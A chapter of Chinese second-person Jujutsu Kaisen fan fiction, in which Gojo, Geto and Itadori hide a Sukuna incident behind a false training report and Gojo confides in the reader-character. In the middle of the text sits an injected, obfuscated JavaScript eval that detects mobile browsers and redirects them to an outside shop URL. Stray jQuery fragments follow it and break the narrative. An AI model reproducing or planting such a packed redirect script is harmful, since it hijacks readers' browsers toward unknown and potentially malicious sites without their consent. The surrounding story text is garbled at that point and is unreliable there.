家入硝子离开后,校医室里再次陷入了静寂。

    没过多久,门外就传来一阵急促的脚步声。

    夏油杰推门走了进来,他先是看了眼面色阴沉的五条悟,随后又将目光转向了站在一旁低着头,一副做错事情模样的虎杖悠仁身上。

    “悠仁,你还记得两面宿傩是在什么情况下取得你身体控制权的吗?”

    虎杖悠仁挠了挠头,努力回忆着当时的情况,有些沮丧地说道:“大概是这些天训练太累了,所以睡得有些沉,等我醒来的时候就变成这样了......”

    “这样啊......”夏油杰若有所思地点了点头,转而看向了站在五条悟身边的你。“铃兰,你受的伤严重吗?”

    你摇了摇头,“不严重,休息几天就好了。”

    眼下最为要紧的是,如果高层发现虎杖悠仁被两面宿傩夺舍,还差点伤害到高专为数不多会反转术式的家入硝子,不仅虎杖悠仁会被立即执行死刑,连作为担保人的五条悟也会被高层连带追责。

    你知道现在不是隐瞒的时候,你在五条悟和夏油杰之间来回徘徊,不再犹豫,将今晚发生的所有事情一五一十地说了出来。

    夏油杰在得知两面宿傩声称说认识你时,眼底划过一丝复杂情绪,他沉默片刻后说道:“两面宿傩来自千年之前,他怎么会认识你。”

    话落,又见五条悟对你的话反应不大,夏油杰便知晓五条悟早已经知道了这件事。

    “悟。”他喊了五条悟一声。

    五条悟似乎陷入了某种情绪之中,对夏油杰的呼喊毫无反应。

    夏油杰叹了口气,抬手拍了拍他的肩膀,又喊了一声:“悟!”

    “啊,杰。”五条悟这才回过神来。

    夏油杰看着他这副心事重重的模样,温声说道:“这件事就交给我处理吧。”

    “至于那个叫羂索的人,等你和铃兰回来后我们在一起想办法。”

    “你马上就要结婚了,不要为这些烦恼。要开心啊,悟。”

    五条悟闻言,这才从那沉重的情绪中抽离出来。

    你们几人凑在一起,迅速统一了口径。

    最终敲定的版本是:夏油杰为了检验虎杖悠仁近期的特训成果,特意挑选了一处偏僻的山区作为实战场地。为了增加难度,释放了一些咒灵供虎杖练手,才导致战斗动静闹得大了点。

    至于为什么会有近乎毁灭性的地形破坏?那只能说是五条悟在一旁进行“激情指导”时,不小心没收住手罢了。

    “就这样吧。”夏油杰拿出手机,熟练地开始编辑事故报告。

    「特级咒术师五条悟、夏油杰,带领虎杖悠仁进行野外实战训练,因训练强度超出预期,故而对周边环境进行了影响,已进行深刻反思。」

    这过于完美的报告,让你有一瞬间产生了夏油杰似乎已经为五条悟干过不少这种事的念头。

    五条悟凑过去扫了一眼屏幕,忍不住笑了出来:“杰,你这睁眼说瞎话的本事真是越来越强了。”

    “我可是专业的。”见五条悟情绪恢复,夏油杰面不改色地按下发送键,随后收起手机喊上虎杖悠仁准备离开,“好了,公事办完。悟,你似乎还有话要对铃兰说,我们就先不打扰啦。”

    五条悟冲夏油杰摆了摆手,“谢谢你,杰。”

    夜色渐深,夏油杰和虎杖悠仁离开后,你和五条悟仍然留在校医室内,虽然这件事暂时用谎言掩盖了过去,但你们还是不能轻易掉以轻心。

    一晃又是许久,你们谁都没有打破这份沉默。

    直到五条悟突然转过身,双手撑在你了身后的桌沿上。

    他将你圈在他的怀抱与办公桌之间,低下头,极其认真地注视着你。

    “我打算等我们回家的时候,把悠仁一块带回去。”

    你并不意外五条悟的决定,如果把虎杖悠仁一个人留在高专的话,万一又像今天这样被两面宿傩夺取身体干了什么出格的事,到时候就算是五条悟,恐怕也保不住他。

    “我知道这是最好的办法。”你轻声应道。

    五条悟轻轻拉过你那只受伤了的手,指腹摩挲着你掌心那道凸起的疤痕,眼中是掩饰不住的心疼。

    他说:“有时候我真想把你绑在身边,让你哪都去不了,这样你就再也不会受伤了。”

    你忍不住弯起眼睛,半开玩笑地打趣道:“你这是在犯罪哦。”

    “我是认真的。”

    他抬起头,那双苍蓝色的眼盯着你,里面翻涌着某种强烈的情绪,让你原本想要说的话都卡在了喉咙里。

    “我真的想让你哪也去不了,无时无刻都只能待在我的身边,甚至是被我藏在一个谁也找不到的地方。”

    他一边说着,一边将你的手掌贴在他的侧脸上。

    他蹭了蹭,“但我知道我不能这样。”

    这个明明强大到可以掌控一切的男人,此刻却在你面前流露出了脆弱的一面。

    你揽住他的脖子,抱住了他。

    你说:“无论发生什么,我都会一直陪在你身边。”

    听到你的承诺,五条悟紧绷的身体也终于放松下来。他顺势靠在你的颈侧,双臂收紧用力回抱住了你,似乎是想从你的身上汲取某种能够安抚身心的力量。

    他像孩子般对你撒娇:“好想回家,好想天天和你在一块,好想和你一起去旅游,好想和你去一个没有咒灵也没有那些烦人的老橘子的地方。”

    你温柔地抚摸着五条悟那头顺滑柔软的白发,这些日子里,为了给你们结婚后的假期腾出足够长的时间,五条悟几乎透支身心的工作。除了必要的教学以外,他还独自揽下了大量的任务,往往总是天还没亮就出门,直到深夜才满身疲惫地回来。

    你深知他的辛苦,也明白他这份看似轻松的话语背后,藏着多少心酸。

    第二日,咒术界高层在收到夏油杰发来的报告后,并没有像预想中那样轻易揭过。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552181|203171||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>那群盘踞在高位的人当天就传达了命令,勒令夜蛾正道校长对昨晚的事件进行重新调查。

    很快,夜蛾正道便把你、夏油杰、五条悟、家入硝子以及虎杖悠仁全部召集到了校长会议室。

    刚一进屋,五条悟就毫不客气地瘫坐在了会议桌旁的椅子上。

    他将两条修长的腿高高翘起,直接架在了光洁的会议桌上,整个人呈现出一种极其嚣张的姿态。

    “哈?我说老头子,那种无聊的小事,杰的报告里不是已经写得清清楚楚了吗?为什么还要把我们特意叫过来审问啊?”五条悟拨弄着脸上的黑色眼罩,不耐烦地埋怨着,“我可是很忙的诶,还要回去筹备婚礼呢。”

    夜蛾正道额角的青筋跳了跳,他沉着脸,重重一拳砸在五条悟面前的桌子上,“把腿放下来!这是不是你的休息室!”

    坐在旁边的虎杖悠仁被这一声巨响吓得一激灵,连忙正襟危坐。

    夏油杰和家入硝子则见怪不怪,一脸淡定地坐在你身侧,甚至还抽空和你讲了几句话。

    夜蛾正道深吸了一口气,目光锐利地扫过在场的每一个人,最后停留在五条悟身上:“高层对于你们提交的报告存疑,他们认为单凭虎杖悠仁的实力,即使是刻意训练他,也不可能造成那种程度的破坏。”

    “所以你们最好给我一个合理的解释。”

    五条悟撇了撇嘴,虽然把腿放了下来,但身体依旧懒洋洋地往后一靠,“啧,那群老东西也太疑神疑鬼了吧。我都说了是我指导的时候没收住手,还想听我解释什么?”

    就在会议室的气氛变得有些剑拔弩张时,夜蛾正道缓缓拉开椅子,坐在了五条悟的对面。他抬手揉了揉有些发胀的眉心,随后撑着下巴,目光透过镜片,平静地看向五条悟:“是两面宿傩干的吧。”

    话音落下的刹那,你们几人不约而同地向校长投去了视线,就连一直表现的毫不在意的五条悟也挑起了眉梢。

    还没等五条悟开口接话,坐在角落里的虎杖悠仁就站了起来。

    他快步走到夜蛾正道面前,深深地鞠了一躬,“不关老师们的事情!都是我的错!是我没能控制住体内的两面宿傩,请只责罚我一个人!”

    看着虎杖悠仁因为紧张而颤抖的背影,你刚想说些什么,却被身旁的家入硝子按住了手背。

    夜蛾正道见虎杖悠仁把所有责任都揽在了自己身上,他并没有回应虎杖悠仁,而是重新对着五条悟说:“如果再出现这样的事情,高层那边绝对不会善罢甘休的。这次我会帮你们瞒下去,但绝对不能有下次了。”

    正保持着鞠躬姿势的虎杖悠仁听到这话直接抬起了头。他问道:“校长,您和那些人不是一伙的吗?”

    这句略显冒犯却又无比直白的质问,虎杖悠仁说出口后才发觉到在这个场合问这个问题似乎有些不妥。

    然而夜蛾正道并没有掩饰,也没有回避,他坦然说道:“我从来没有说过,我和他们是一个阵营的。”